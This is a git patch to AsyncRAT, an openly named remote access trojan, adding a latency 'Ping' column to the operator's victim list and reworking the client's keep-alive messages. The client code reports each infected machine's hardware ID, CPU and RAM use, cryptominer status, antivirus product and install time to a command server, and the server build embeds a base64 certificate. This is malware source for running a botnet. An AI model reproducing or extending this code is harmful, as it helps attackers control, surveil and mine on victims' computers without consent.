From be5d0d5424f2d68c8b907f1b373b30f97f471522 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 8 Oct 2019 23:13:44 +0300 Subject: [PATCH] update added ping to listview --- AsyncRAT-C#/Client/Connection/ClientSocket.cs | 9 ++-- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 17 +++----- AsyncRAT-C#/Client/Helper/IdSender.cs | 6 +-- AsyncRAT-C#/Client/Settings.cs | 2 +- AsyncRAT-C#/Server/Forms/Form1.Designer.cs | 43 +++++++++++-------- AsyncRAT-C#/Server/Forms/Form1.cs | 14 ++++-- .../Server/Handle Packet/HandleListView.cs | 10 ++++- .../Server/Handle Packet/HandlePing.cs | 35 ++++++++++++++- AsyncRAT-C#/Server/Handle Packet/Packet.cs | 8 +++- AsyncRAT-C#/Server/Settings.cs | 2 +- 10 files changed, 100 insertions(+), 46 deletions(-) diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index 427b52f..560549e 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -30,6 +30,7 @@ namespace Client.Connection private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); + public static Stopwatch Pong { get; set; } public static void InitializeClient() { @@ -89,7 +90,8 @@ namespace Client.Connection Buffer = new byte[4]; MS = new MemoryStream(); Send(IdSender.SendInfo()); - Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + Tick = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000)); + Pong = new Stopwatch(); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else @@ -235,14 +237,15 @@ namespace Client.Connection } } - public static void CheckServer(object obj) + public static void KeepAlivePacket(object obj) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%"; Send(msgpack.Encode2Bytes()); + Pong.Reset(); + Pong.Start(); GC.Collect(); } - } } diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 231fd03..ae91776 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -25,9 +25,13 @@ namespace Client.Handle_Packet unpack_msgpack.DecodeFromBytes((byte[])data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { - case "Ping": + case "pong": { - Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); + ClientSocket.Pong.Stop(); + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("pong"); + msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Pong.ElapsedMilliseconds); + ClientSocket.Send(msgPack.Encode2Bytes()); break; } @@ -68,15 +72,6 @@ namespace Client.Handle_Packet } break; } - - //case "cleanPlugin": // server want to clean and re save all plugins - // { - // SetRegistry.DeleteSubKey(); - // MsgPack msgPack = new MsgPack(); - // msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+"); - // ClientSocket.Send(msgPack.Encode2Bytes()); - // break; - // } } } catch (Exception ex) diff --git a/AsyncRAT-C#/Client/Helper/IdSender.cs b/AsyncRAT-C#/Client/Helper/IdSender.cs index 29ea930..4a61cca 100644 --- a/AsyncRAT-C#/Client/Helper/IdSender.cs +++ b/AsyncRAT-C#/Client/Helper/IdSender.cs @@ -1,16 +1,13 @@ using Client.MessagePack; using Microsoft.VisualBasic.Devices; using System; -using System.Collections.Generic; using System.Diagnostics; using System.IO; -using System.Linq; -using System.Text; using System.Windows.Forms; namespace Client.Helper { - public class IdSender + public static class IdSender { public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); @@ -31,6 +28,7 @@ namespace Client.Helper msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus(); msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString(); + msgpack.ForcePathObject("Pong").AsString = ""; return msgpack.Encode2Bytes(); } } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 5175c3a..d14e763 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -13,7 +13,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.4F"; + public static string Version = "0.5.4G"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index ff65ffb..d31e01b 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -37,6 +37,7 @@ this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_ins = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -124,7 +125,7 @@ this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components); - this.lv_ins = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_ping = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -152,6 +153,7 @@ this.lv_ins, this.lv_admin, this.lv_av, + this.lv_ping, this.lv_prefor}); this.listView1.ContextMenuStrip = this.contextMenuClient; this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; @@ -172,12 +174,12 @@ // // lv_ip // - this.lv_ip.Text = "IP"; + this.lv_ip.Text = "IP Address"; this.lv_ip.Width = 121; // // lv_country // - this.lv_country.Text = "COUNTRY"; + this.lv_country.Text = "Country"; this.lv_country.Width = 124; // // lv_hwid @@ -187,32 +189,37 @@ // // lv_user // - this.lv_user.Text = "USER"; + this.lv_user.Text = "Username"; this.lv_user.Width = 117; // // lv_os // - this.lv_os.Text = "OPERATING SYSTEM"; + this.lv_os.Text = "Operating System"; this.lv_os.Width = 179; // // lv_version // - this.lv_version.Text = "VERSION"; + this.lv_version.Text = "Payload Version"; this.lv_version.Width = 126; // + // lv_ins + // + this.lv_ins.Text = "Installed UTC"; + this.lv_ins.Width = 120; + // // lv_admin // - this.lv_admin.Text = "PRIVILEGES"; + this.lv_admin.Text = "Privileges"; this.lv_admin.Width = 166; // // lv_av // - this.lv_av.Text = "ANTI-VIRUS"; + this.lv_av.Text = "Anti-Virus Software"; this.lv_av.Width = 136; // // lv_prefor // - this.lv_prefor.Text = "PERFORMANCE"; + this.lv_prefor.Text = "Performance"; this.lv_prefor.Width = 200; // // contextMenuClient @@ -708,7 +715,7 @@ this.tabPage2.Location = new System.Drawing.Point(4, 29); this.tabPage2.Name = "tabPage2"; this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(1360, 446); + this.tabPage2.Size = new System.Drawing.Size(1293, 446); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Logs"; this.tabPage2.UseVisualStyleBackColor = true; @@ -728,7 +735,7 @@ this.listView2.Name = "listView2"; this.listView2.ShowGroups = false; this.listView2.ShowItemToolTips = true; - this.listView2.Size = new System.Drawing.Size(1354, 440); + this.listView2.Size = new System.Drawing.Size(1287, 440); this.listView2.TabIndex = 1; this.listView2.UseCompatibleStateImageBehavior = false; this.listView2.View = System.Windows.Forms.View.Details; @@ -764,7 +771,7 @@ this.tabPage3.Controls.Add(this.listView3); this.tabPage3.Location = new System.Drawing.Point(4, 29); this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(1360, 446); + this.tabPage3.Size = new System.Drawing.Size(1293, 446); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Thumbnail"; this.tabPage3.UseVisualStyleBackColor = true; @@ -778,7 +785,7 @@ this.listView3.Location = new System.Drawing.Point(0, 0); this.listView3.Name = "listView3"; this.listView3.ShowItemToolTips = true; - this.listView3.Size = new System.Drawing.Size(1360, 446); + this.listView3.Size = new System.Drawing.Size(1293, 446); this.listView3.SmallImageList = this.ThumbnailImageList; this.listView3.TabIndex = 0; this.listView3.UseCompatibleStateImageBehavior = false; @@ -820,7 +827,7 @@ this.tabPage4.Location = new System.Drawing.Point(4, 29); this.tabPage4.Name = "tabPage4"; this.tabPage4.Padding = new System.Windows.Forms.Padding(3); - this.tabPage4.Size = new System.Drawing.Size(1360, 446); + this.tabPage4.Size = new System.Drawing.Size(1293, 446); this.tabPage4.TabIndex = 3; this.tabPage4.Text = "Tasks"; this.tabPage4.UseVisualStyleBackColor = true; @@ -837,7 +844,7 @@ this.listView4.HideSelection = false; this.listView4.Location = new System.Drawing.Point(3, 3); this.listView4.Name = "listView4"; - this.listView4.Size = new System.Drawing.Size(1354, 440); + this.listView4.Size = new System.Drawing.Size(1287, 440); this.listView4.TabIndex = 0; this.listView4.UseCompatibleStateImageBehavior = false; this.listView4.View = System.Windows.Forms.View.Details; @@ -929,10 +936,9 @@ this.TimerTask.Interval = 5000; this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); // - // lv_ins + // lv_ping // - this.lv_ins.Text = "Installed UTC"; - this.lv_ins.Width = 120; + this.lv_ping.Text = "Ping"; // // Form1 // @@ -1064,6 +1070,7 @@ private System.Windows.Forms.ToolStripSeparator toolStripSeparator5; private System.Windows.Forms.ToolStripMenuItem blockClientsToolStripMenuItem; private System.Windows.Forms.ColumnHeader lv_ins; + public System.Windows.Forms.ColumnHeader lv_ping; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 2df606b..6093a70 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -30,7 +30,6 @@ namespace Server public partial class Form1 : Form { - private Listener listener; private bool trans; private List getTasks = new List(); private ListViewColumnSorter lvwColumnSorter; @@ -113,7 +112,7 @@ namespace Server { if (!string.IsNullOrWhiteSpace(port)) { - listener = new Listener(); + Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.IsBackground = true; thread.Start(Convert.ToInt32(port.ToString().Trim())); @@ -157,7 +156,7 @@ namespace Server this.Text = $"{Settings.Version}"; #if DEBUG Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String("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")); - listener = new Listener(); + Listener listener = new Listener(); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); thread.IsBackground = true; thread.Start(6606); @@ -1152,7 +1151,14 @@ namespace Server { try { - foreach (Clients client in GetSelectedClients()) + Clients[] clients = GetSelectedClients(); + if (clients.Length == 0) + { + Process.Start(Application.StartupPath); + return; + } + + foreach (Clients client in clients) { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID); if (Directory.Exists(fullPath)) diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index 009c45c..906637c 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -60,11 +60,19 @@ namespace Server.Handle_Packet } client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString); + try + { + client.LV.SubItems.Add("0000 MS"); + } + catch + { + client.LV.SubItems.Add("Outdated stub"); + } client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online")); client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - + client.LV.UseItemStyleForSubItems = false; lock (Settings.LockListviewClients) { Program.form1.listView1.Items.Add(client.LV); diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs index ab9c234..14fd45f 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs @@ -2,15 +2,20 @@ using Server.Connection; using System.Diagnostics; using System.Windows.Forms; +using System.Threading; +using System.Drawing; namespace Server.Handle_Packet { public class HandlePing { - public HandlePing(Clients client, MsgPack unpack_msgpack) + public void Ping(Clients client, MsgPack unpack_msgpack) { try { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").SetAsString("pong"); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); lock (Settings.LockListviewClients) if (client.LV != null) client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"); @@ -19,5 +24,31 @@ namespace Server.Handle_Packet } catch { } } + + public void Pong(Clients client, MsgPack unpack_msgpack) + { + try + { + lock (Settings.LockListviewClients) + if (client.LV != null) + { + client.LV.SubItems[Program.form1.lv_ping.Index].Text = unpack_msgpack.ForcePathObject("Message").AsInteger.ToString() + " MS"; + if (unpack_msgpack.ForcePathObject("Message").AsInteger > 600) + { + client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red; + } + else if (unpack_msgpack.ForcePathObject("Message").AsInteger > 300) + { + client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange; + } + else + { + client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Green; + } + } + + } + catch { } + } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index c6c4d9a..4e9e572 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -33,7 +33,13 @@ namespace Server.Handle_Packet case "Ping": { - new HandlePing(client, unpack_msgpack); + new HandlePing().Ping(client, unpack_msgpack); + break; + } + + case "pong": + { + new HandlePing().Pong(client, unpack_msgpack); break; } diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index 09eb3a5..8a0d53f 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -17,7 +17,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.4F"; + public static readonly string Version = "AsyncRAT 0.5.4G"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object();